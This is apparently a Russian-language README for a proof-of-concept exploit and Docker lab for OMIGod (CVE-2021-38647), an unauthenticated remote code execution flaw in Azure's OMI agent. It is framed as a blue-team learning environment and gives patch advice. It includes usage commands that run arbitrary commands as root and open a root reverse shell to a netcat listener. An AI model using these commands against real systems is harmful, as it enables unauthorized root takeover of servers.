
OMIGod / CVE-2021-38647 POC и демонстрационная среда
Open Management Infrastructure (OMI, ранее известная как NanoWBEM) — это сервер управления с открытым исходным кодом, реализующий модель Common Information Model (CIM) от Microsoft и The Open Group. OMI — программный агент, присутствующий на большинстве Linux-виртуальных машин Azure, однако многие не знают о его существовании.
14 сентября команда Wiz Research опубликовала статью, описывающую четыре уязвимости в OMI. Уязвимости описываются как легко эксплуатируемые и позволяют злоумышленникам выполнять произвольный удаленный код и повышать привилегии до root с помощью одного запроса.
CVE-2021-38647 — это неаутентифицированная RCE-уязвимость, эксплуатируемая путем отправки специально сформированного HTTP-запроса. CVE-2021-38647 позволяет злоумышленнику выполнять команды от имени пользователя агента OMI, обычно root.
Агенты OMI широко используются на серверах Azure Linux при использовании следующих сервисов:
Согласно Microsoft, большинство сервисов Azure, использующих OMI, развертывают его без открытого HTTP/S-порта.
Цель проекта — создать демонстрационную среду, легко воспроизводимую, чтобы синие команды могли легче находить индикаторы компрометации (IoC). Для достижения этой цели я создал пользовательский образ Docker с уязвимой версией OMI.
В зависимости от вашей настройки может потребоваться sudo.
# Сборка Docker-контейнера
docker build . -t omi-god
# Запуск
docker run --name=omi-god -it omi-god
Теперь у вас будет терминал root внутри контейнера Docker. Вы должны получить IP-адрес контейнера, что можно сделать с помощью команды:
# Добавить в буфер обмена
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Показать в терминале
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
Когда это настроено, вы можете попробовать запустить любой PoC. Чтобы запустить PoC из этого проекта, выполните следующие команды:
# Выполнить любую команду от root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Получить reverse shell от root на сервере
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
Видео IppSec об этой эксплуатации и настройке аналогичной среды — https://www.youtube.com/watch?v=TXqi1BKtcyM Окружение, настроенное в этом проекте, основано на видео IppSec.
PoC от horizon3ai — https://github.com/horizon3ai/CVE-2021-38647 PoC в этом проекте основан на PoC от horizon3ai.
Для получения дополнительных сведений смотрите оригинальную работу исследователей: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
Все версии OMI ниже v1.6.8-1 уязвимы.
Была опубликована исправленная версия, устраняющая эту уязвимость. Обновитесь и убедитесь, что версия 1.6.8.1 или выше.
Данное программное обеспечение создано исключительно для академических исследований и разработки эффективных защитных методов, и не предназначено для атаки на системы, за исключением случаев явного разрешения. Авторы проекта не несут ответственности за неправомерное использование программного обеспечения. Используйте ответственно.